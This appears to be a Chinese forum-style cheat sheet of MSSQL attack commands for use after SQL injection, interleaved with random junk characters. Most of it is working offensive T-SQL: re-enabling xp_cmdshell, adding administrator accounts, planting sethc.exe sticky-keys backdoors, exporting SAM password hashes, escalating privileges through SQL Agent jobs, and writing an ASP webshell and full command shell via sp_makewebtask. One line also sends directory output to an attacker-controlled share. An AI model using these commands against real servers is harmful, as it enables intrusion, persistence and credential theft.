1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号- v) j% e* v; T4 D' |! ^
恢复方法:查询分离器连接后,
1 h* e/ J+ j3 B m. x第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 3 Z; g# _4 f' t
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' ) B9 x4 u* W( |4 c3 {; r) `' `
然后按F5键命令执行完毕- t. ^! [3 f; H% D9 K, p, s* Z
. q" h7 B( ~; ~0 C- ?* j
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
0 u- X( v# p/ Z( y0 H! {3 A. r恢复方法:查询分离器连接后,2 o/ e1 T! f! D% b
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"0 T5 X8 \% x- R* c* F
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
1 O+ K0 v0 K1 }/ q然后按F5键命令执行完毕- r. y! s/ |! I) u+ D: w
( W1 i, f4 D! J J4 ~: e
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
; j- e. C! I( u9 ]恢复方法:查询分离器连接后,) X, H, ] u/ m8 l
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'9 \ `8 b* M4 }. U
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
3 A! w. E( x0 h' z然后按F5键命令执行完毕6 }( x6 A9 b1 t) z" v0 q- N
, u7 T5 H1 C l4 终极方法.- {$ D+ o5 x! K: G6 s3 o
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:' W) l3 N$ I, f/ Y& x& {: G" [
查询分离器连接后,
8 m! G4 V& L, R4 _5 [( l. ^2000servser系统:
8 u8 R: U$ S" m6 \+ y" J( Hdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
9 B! u( ]6 X9 R% I$ T1 F3 Z$ h3 I5 P2 \( |
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'- D0 x- m7 E! V) W6 D( J5 X- }
) C( v$ s# J( t/ E+ |xp或2003server系统:; V9 Y" m2 ~$ H, }
$ l4 ]2 B5 `. x% Fdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
( a: K" c2 G6 N7 w
# b @9 n5 E1 Mdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'8 n) F+ h! O1 k+ G. o4 S
& P/ [) q, {% d
- e. Z- Q* T) A8 ~, v! F, C五个SHIFT) e( ?& ?2 G! I) V. s
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';0 k* L# w: I9 l
8 L8 f# J. k$ a- s8 ?5 q
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
" h, m, ^* W9 M
: u. I8 r; n p8 Zxp_cmdshell执行命令另一种方法5 y( W; b; G. o; |0 ^! V* l p. j
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
- I" E% V- S6 v5 j4 \# `! ~6 I! q) |4 d
判断存储扩展是否存在& m# l& b) b5 L4 h+ j2 @2 W9 U% N
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'6 i; f: }% ?4 J1 d5 O2 B% O2 V( W
返回结果为1就OK
+ r4 b& {# \ ^0 Z& x: _* E& T# y! S% M1 ~
+ f8 `- y0 a9 }7 @; W$ O上传xplog70.dll恢复xp_cmdshell语句:
) [# R8 n, ~, ?# _, P7 tsp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'7 k7 R1 j; Y/ {2 V
& Z! F' H; I( x) ]; J
否则上传xplog7.0.dll
U- o7 Y1 U3 RExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'! p1 e' r: H; x) |2 U
/ c* V$ v9 q+ W; b |+ p- {
M3 K8 ^" G* w0 `( p4 C( M. a% K
& h8 g* e7 R: m: _首先开启沙盘模式:6 G: K6 U) ^- _: k" x- H
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1/ o1 M; f, ]- f$ X
9 b, y' x" ~3 U4 F
然后利用jet.oledb执行系统命令3 ^/ i- X. T) l: Z3 \6 M6 j. r. L
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'). }( ]5 U0 Q, W/ X
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了4 A4 b2 X2 C, X8 S
2 u! c% S* }% I% P
' q' R( S# G- T3 q* X: ?7 E- S5 [' a5 G4 g) f$ [
恢复过程sp_addextendedproc 如下:
( O! A1 V" K, X' ncreate procedure sp_addextendedproc --- 1996/08/30 20:13 $ P @) q! b8 l/ h+ D. g6 R* y& v
@functname nvarchar(517),/* (owner.)name of function to call */ 5 q1 m( R( ?0 I
@dllname varchar(255)/* name of DLL containing function */ 5 U. Y, [5 i3 s9 |+ Y' M# j2 }
as ) c% j8 h+ ]/ P. X
set implicit_transactions off
% d9 n$ l6 H$ o5 s: xif @@trancount > 0 ( |$ @! [% R0 @
begin $ @& K6 R5 R8 W
raiserror(15002,-1,-1,'sp_addextendedproc') 0 ~3 T# }9 J* a, a( o; q$ V9 @5 ~9 s
return (1) 5 ^; N* Y9 Q; r! U( [/ p* g
end
6 {* l$ Q V5 M% u9 ]$ C* C5 Pdbcc addextendedproc( @functname, @dllname) 6 k7 G. P7 E( ^9 Y/ e2 [6 I
return (0) -- sp_addextendedproc
9 u# P! A, g) b/ VGO + ^7 {4 ~. B, K% P7 J# |6 [; d, T6 v
) h4 z- g# c7 `, C* l" b& W/ ~! @, Y
; E/ m, B0 i0 x) |" t6 E
3 Q) r' e/ i1 v3 v- _导出管理员密码文件! f4 t" L/ f* j9 x/ c
sa默认可以读sam键.应该。
7 g w( H& S+ P; \reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg( B& L) @0 t* j! o: O: L1 e* p
net user administrator test* X% h$ G. }. b( C s1 r& b
用administrator登陆.0 C* z9 j6 ~: ?" D9 U
用完机器后* ?8 E7 F7 Y9 C3 ?" O: g
reg import c:\test.reg7 U2 Q: W7 V) u; B' Q
根本不用克隆.% s! Y u, Z- s# J) h* u2 C
找到对应的sid. 9 j1 Z/ Q! U1 {0 e& C/ w, h
: D2 i/ h. t' a
0 h, B' J+ f2 E! U
# r0 O' X/ c" i% K7 U8 m W恢复所有存储过程
. Q7 c4 _. [+ k: E5 k/ |use master 5 L: N B" J K% ~8 s( Z4 D' s
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' 4 r q0 m2 q6 `: z! H6 l
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
; `0 Y$ O; E# q' ^- r! g1 Lexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
' B6 u9 t8 J/ j' E6 T% O# nexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' - B2 M9 d d ?* W! S$ Q3 P
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
[: H5 k9 t/ J1 [4 l4 y' Uexec sp_addextendedproc sp_OACreate,'odsole70.dll' 4 X" F o( n$ x' @6 Q3 R; o) Q
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
L* P+ [' r/ _6 A c" k7 T- O2 Eexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' $ K$ N2 e) \8 J% o5 u
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' ( x3 l0 b" Z3 ~( n6 h% f" X
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
5 o. ?$ X$ R1 j: B2 p+ uexec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
) M) J' q. x4 x& B) g6 U! c( m, K. r5 Jexec sp_addextendedproc sp_OAStop,'odsole70.dll' 2 a- }4 c Q# |8 o" l3 t
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' - ]# l5 ?3 S1 X' y
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
1 Z& G, y" F2 I" g5 jexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' 8 \& X8 G/ R0 x
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' - |7 a1 o; b$ a& a
exec sp_addextendedproc xp_regread,'xpstar.dll'
, x# {. U2 l% U; e7 B7 W1 q+ S# Q. a, _exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
- n5 {/ R% u& Nexec sp_addextendedproc xp_regwrite,'xpstar.dll' 9 K2 S1 k; t" E7 D X& Z& f) t
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'/ l2 {% U0 G- b- y
0 z. V7 ~" ~! u/ i: \4 Y; L. s
+ p# ?+ o7 f8 H建立读文件的存储过程9 {/ e6 ?5 D- G: w
Create proc sp_readTextFile @filename sysname
! K- {8 G) A8 Q: k- ^& j; ?/ l( bas
6 e& ]' \- q' `) z) O9 S
0 b% z4 m4 `- I) u% Z begin
% D* I4 a& |& V4 f2 r7 Y9 I0 e set nocount on
9 k) Z* M) k$ H( z- N, n' ? Create table #tempfile (line varchar(8000))
- I1 K4 g$ X& v7 q exec ('bulk insert #tempfile from "' + @filename + '"'): j8 p/ {& ^, _1 ~
select * from #tempfile
& Z+ D/ i% Q! L3 q drop table #tempfile1 i5 B/ K8 V& P9 w1 ?
End8 A9 X+ m: p% ?
; r' U$ ^% s6 C
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
; E! B Z" Q! G8 a' z; v- m* J# \查看登录用户
7 U( p& f) E) G0 QSelect * from sysxlogins) W0 M, N' t# B( [/ B
+ |6 X) e5 H3 t* N6 ]
把文件内容读取到表中
) t% `! E" c6 ABULK INSERT tmp from "c:\test.txt"* ]2 o6 w7 n4 |+ f2 Q
dElete from 表名 清理表里的内容: p3 n0 ~, i) Q" f- Q4 ~- Y! l
create table b_test(fn nvarchar(4000));建一个表,字段为fn
6 {) v5 k- r. ?' ?3 ~; H4 Z! p3 r% i3 t3 ?6 K9 Q# ]! l
$ `$ ]; R P. M" W
加sa用户$ ]+ h! ~9 M7 H2 B( ^8 W: c) _
exec master.dbo.sp_addlogin user,pass;& T f% Q# r, E6 i. ]4 q
exec master.dbo.sp_addsrvrolemember user,sysadmin$ A* s d9 K. c/ O/ Y9 J1 H, ~
8 f! Q6 G: x+ |+ t& l9 E
$ J8 i" ^" U) C6 S& L' R5 E6 _
/ `6 j5 {3 o% v
读文件代码: D" f" g1 D2 ]5 u
declare @o int, @f int, @t int, @ret int
. \ \) i0 i* @6 @/ h1 ndeclare @line varchar(8000)
t5 i) }0 Q% F1 M. pexec sp_oacreate 'scripting.filesystemobject', @o out
6 c7 w) ~/ T) d# O4 a1 W9 @3 [exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1/ N2 }1 H9 G6 J0 ^) ^- p8 C# t
exec @ret = sp_oamethod @f, 'readline', @line out
' q1 r7 Y @& n, Owhile( @ret = 0 ), [* V. b5 \# k$ u9 m% y( V1 ~
begin2 n6 h9 G& l( v0 P1 r9 ^1 E/ W
print @line: s9 F6 _" c# z& s: A
exec @ret = sp_oamethod @f, 'readline', @line out: ?' e/ V) U3 l% ~( b
end* t" [! x, w- B. m# I8 x
. m k+ Q8 P. a2 C/ q3 x, W
) ~! s% S, g' `+ x8 n写文件代码:
/ m- q6 }& q* ^) q# Mdeclare @o int, @f int, @t int, @ret int
- j( ?0 H! k+ O/ mexec sp_oacreate 'scripting.filesystemobject', @o out
8 w7 H( }/ E& n8 c- A3 {& S! |2 L( r/ Uexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
. H9 G' }# Z& g. V7 Uexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》( M [3 T* ]5 J
+ |0 n/ }) t2 H1 ~! j! c$ H
2 J( ?0 {" i5 G/ T添加lake2 shell4 A" g6 h/ h2 ]8 d, k
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'( K- R( M% P( Z# S" p
sp_dropextendedproc xp_lake2
5 j7 O1 M4 f, {$ P& t' C2 `1 xEXEC xp_lake2 'net user'
( ^% Y7 s: K4 ]6 `, p( R# i: F, L: o- Y3 |! f6 ]
- ^; ^( `0 V" }5 I) S4 a* j& L得到硬盘文件信息 " n9 y8 A" I: f6 L2 C* I: l
--参数说明:目录名,目录深度,是否显示文件 ; t( n: D% R/ G# ~: O) Y$ l
execute master..xp_dirtree 'c:' # S* ?( Y* {1 \' p" K( t( j; H8 e6 Z
execute master..xp_dirtree 'c:',1
4 g" I3 e1 j* l1 E3 W4 w: N+ Aexecute master..xp_dirtree 'c:',1,1 - \( d: ?. z+ m( Q2 H# _
& s) b' \9 P" E, M1 K4 V
8 \" }) G+ ^6 Q2 y+ [/ @! C读serv-u配置信息& l o0 ], i5 i) ]- p
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'3 e/ K# m: ]0 p4 T4 S& _& V
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'& q* w" J+ a/ v: {: K
- T, t9 D. d) {6 W* A, d, i! F W
通过xp_regwrite写SHIFT后门- N+ x/ K ^& s _& I3 G. {; i
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--# P$ {" B) U1 `1 V
: e7 r T( f- f' Z: p! T- y) U
0 _- Y- s- y6 F! N- {
], ^. d1 i# M) Y+ W6 D找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
2 @. J! Z+ `. Z$ d% C0 T+ Gexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
3 E4 B" q8 s8 p9 L! u) _+ o6 R' S- O5 c+ ^+ B, |2 \2 `
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
9 E1 L* `4 ]! S8 W! `2 U
1 _/ t; V% N7 ~" }$ ?4 J8 ~4 I N$ o0 R5 X, z% K7 {
8 G) N9 o- L% k) d5 H8 ^6 a1 w
sql server 2005下开启xp_cmdshell的办法3 m. t/ J- p9 T0 @0 S: O5 ]+ [
8 A' @6 ]9 u9 @. v0 W$ b4 Y
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;* m" f3 G# S! \9 M: ?% o
* J! x7 u% d9 |8 S
SQL2005开启'OPENROWSET'支持的方法:: e5 ]7 Q( [# g5 S# T z3 h6 a
9 a5 T' D. }' w, G! C
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
. K: N/ o8 x4 ^7 C! Q% K, T7 q' l) g3 y% U% O
SQL2005开启'sp_oacreate'支持的方法:
& M+ ^) X2 t) ]. t4 I* U/ ], [7 `1 S" k* A
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;% [* X8 Y9 `7 I
* k( ]* p- v9 A3 S: [( h2 c* }. ^( B3 A7 @. J V' F
9 c$ ~( h" i0 g1 U! S/ a3 D. y' q/ a O8 V' ?
& ^$ f7 @9 e, w T2 ~. M& O. X4 r' _) H1 P
; ~4 c$ E6 Z, J7 p6 r% B
7 z1 x# b) A4 D) I. o8 h
- s3 ~, a) W1 s8 p
& ~3 U5 B: A( \& O. Z+ W7 ~; h0 b) m9 b. x% q' y7 I
' ]! R& T, l' x( K8 l% h! C8 q+ A: w, a. ?5 Q' p- d; y5 @% [
. [$ G/ E5 `5 E0 o4 T: r! f% f
1 ~# K! ^/ ]6 B* G! d4 z, d+ \! F6 s
2 P0 S7 E2 g* m# K
6 w( T: e* {6 T; R2 e; M* t
6 S5 Z, W1 Y# T5 b+ B0 C/ X0 {7 N6 {
8 m! M. ]) f- I2 @
i% c. k- I- Y7 g/ T8 J" i1 ?) z. t) g& L: l. ~1 v
; _ R- b+ t) B: e$ c2 L3 ]
; p [+ K' _0 v6 @6 Z( v4 {以下方面不知道能不能成功暂且留下研究哈:
) z9 s7 U! O( p' Q1 f9 X4)& l% J! q( C/ X9 m7 ~. r
use msdb; --这儿不要是master哟: ?( _$ e. s9 F, t
exec sp_add_job @job_name= czy82 ;
7 n1 Q6 V# I! Y w; Iexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
, x6 @1 _9 I( _& ?) Pexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
0 c5 N! _2 T- Z ]& @" cexec sp_start_job @job_name= czy82 ;
/ z2 A* s( }* x8 U! b5 @4 S( r, h; b, P; f+ l' Y' Q
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以8 L9 e: D+ x# k4 v8 Z, Z
执行tsql语句了.
% V' ~6 g+ ~2 r. U) l A! }对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
, k+ J2 c! Z6 g0 u0 `1 u第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
- m1 m7 H6 h, _3 R) R; Fnet start SQLSERVERAGENT( O; |1 c0 Y; w5 C2 Z' E
( @6 \/ t9 j8 }* m. M; I7 N- p5 L0 h
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
' T! L/ j9 M' k9 B. PUSE msdb
: h% J/ D9 D0 ~- NEXEC sp_add_job @job_name = GetSystemOnSQL ,; v4 m- e1 ^; p
@enabled = 1,- V0 R) ]0 R: T2 y" b% e* U
@description = This will give a low privileged user access to
1 m5 D% Y0 F2 Q, f9 fxp_cmdshell ,
9 j8 R# Y# e/ Q2 Y- h! k# T@delete_level = 1
" a: ~) x- z( a- u ?" l+ gEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
2 @7 W3 \' U9 A" ^@step_name = Exec my sql ,
4 X W1 |* V7 B1 n1 o% O@subsystem = TSQL ,0 s+ p! R9 t/ a$ |; w$ t$ W5 n
@command = exec master..xp_execresultset N select exec) I" L4 p/ U- b" Z4 a7 h/ r. G
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master 7 V- ~2 W0 A" y% O) i2 ]
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
3 [& J; u/ p' m4 \! _@server_name = 你的SQL的服务器名
' @7 T+ x- M; b2 \ X N; Y6 s' wEXEC sp_start_job @job_name = GetSystemOnSQL
. L( ~3 V' L3 A- |. ^( }
1 o% \- T5 e( j( C不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
9 P& ~: r' U7 F: Q* b/ B才让我们可以以public执行xp_cmdshell
0 V4 Q3 q3 N- t4 \1 q
4 @+ D" i, r: W2 Y7 L: K0 ?5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)9 C9 s( `3 \$ G+ A5 t, p
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968/ _4 C; ^% }- a% x
4 }+ `+ t" @/ g- U( Y
USE msdb: y" K3 G" }9 H7 j7 G
EXEC sp_add_job @job_name = ArbitraryFilecreate ,6 P# n7 }! `& H) `2 E. P
@enabled = 1,( o Q6 \+ l3 ^7 t9 e" o' U" d5 O
@description = This will create a file called c:\sqlafc123.txt ,
* g: q# Z$ G8 I, A@delete_level = 1
* U# O3 S, X7 O' M4 q0 l, ^) mEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,- k' J) h1 l3 L. _! ~6 ]+ \5 u
@step_name = SQLAFC ,: R- P' y" @; d* Y5 p( X
@subsystem = TSQL , a/ U/ K/ [/ G
@command = select hello, this file was created by the SQL Agent. ,, X- L; A" S0 p$ G- n
@output_file_name = c:\sqlafc123.txt 6 Y# @/ R& y R! A- Y& x) s# f
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
" Q4 V% ?! R1 K ?- e" \@server_name = SERVER_NAME 2 ?( Y) ~3 i S2 U
EXEC sp_start_job @job_name = ArbitraryFilecreate
W, M' f- u* D4 x9 \. X$ N* ~$ o
如果subsystem选的是:tsql,在生成的文件的头部有如下内容/ X" O* o% X7 G' h6 J# u& _( i
$ Y8 k# l6 s" }3 q
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19! {5 m5 N5 a: [: [) r0 s& \8 {
----------------------------------------------
. D, A( h& V5 w8 {, i" g$ X" }hello, this file was created by the SQL Agent.2 s- K5 p9 c( X
, C9 b, X/ j( n8 t5 R5 [* f2 y
(1 ?????)
1 \& a- p# `, c/ x: _% @# F4 M0 T- C$ S) h; e( D
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员$ e5 G+ T2 p9 z; c6 \: ], I
命令的vbs文件到启动目录!
]! f8 ]0 l0 [. c. Y
, c# V' o6 M1 ]: M6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
$ f! `/ A& z# e6 ?- u关于sp_MScopyscriptfile 看下面的例子
9 u M4 e2 y" o. }8 Adeclare @command varchar(100)
+ j! ?& v [% p6 o; w! sdeclare @scripfile varchar(200) " A* @. s7 p: b. {! n
set concat_null_yields_null off
) J6 {. G& W& N7 K9 T' Oselect @command= dir c:\ > "\\attackerip\share\dir.txt" 2 C4 L$ A) Q4 B) ?' w. K8 F+ z! n9 Y
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
2 W( z# b0 n: _" _3 O' A% S; Y) Pexec sp_MScopyscriptfile @scripfile ,
8 n: |3 L: A+ `+ A3 f) I, [3 d# q# s2 A+ D) x# @3 o5 ~
这两个东东都还在测试试哟
) W$ d# q( r8 X+ t P让MSSQL的public用户得到一个本机的web shell 8 @5 D6 V3 ?, F8 P$ B
$ I7 W5 d5 c# p4 j0 D
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312," `' `; p+ E+ {( ]9 G$ s
--@query= select <img src=vbscript:msgbox(now())>
1 {( M o6 I+ W# [# z6 x/ U. }7 ?5 z--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
# _' R0 C, n& C# l2 Y@query= select
6 D: _ O7 O) j- O1 U0 G6 Z<%On Error Resume Next % U/ r y6 u+ r/ |' b
Set oscript = Server.createObject("wscript.SHELL")
9 U9 }" u: m8 j/ O! mSet oscriptNet = Server.createObject("wscript.NETWORK") ) ^5 E$ w1 m$ w5 h
Set oFileSys = Server.createObject("scripting.FileSystemObject")
5 Z/ U4 m1 o- `' k' ?/ ZszCMD = Request.Form(".CMD") ' D: ~# V7 Y% |1 `) C" ~) V
If (szCMD <>"")Then
: Z$ {3 [' w: ]0 K# Y+ E# s4 QszTempFile = "C:\" & oFileSys.GetTempName() ) l/ ~0 u4 Z" g) t. _8 `" ?, i
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) 3 @3 \9 E! G5 r7 v4 T( K
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
6 q& C' q# Z ~4 }/ {End If %>
9 [ p6 z; _3 h5 S, b; x<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST"> 9 K/ i( p3 Q* i v
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> 1 n F) \! X( Q3 {4 ]0 h0 \* C6 k, C
</FORM>< RE> 3 q6 [2 R5 z( [! t9 G
<% If (IsObject(oFile))Then
, t: v6 e0 W: \: Q' DOn Error Resume Next 0 T# y, z% c- g( R% n& A9 |) ]
Response.Write Server.HTMLEncode(oFile.ReadAll) 6 Z, M$ @" B k6 A' y1 `3 d, b/ J( ?
oFile.Close ) A0 @; H% ?( M+ q& Q! i
Call oFileSys.deleteFile(szTempFile, True)
8 f) m8 S% }/ j0 \9 EEnd If%> + J2 b6 z# P$ X6 F! L; q- {+ G
</BODY></HTML>
( |- i) \1 X4 x t, \! S- I |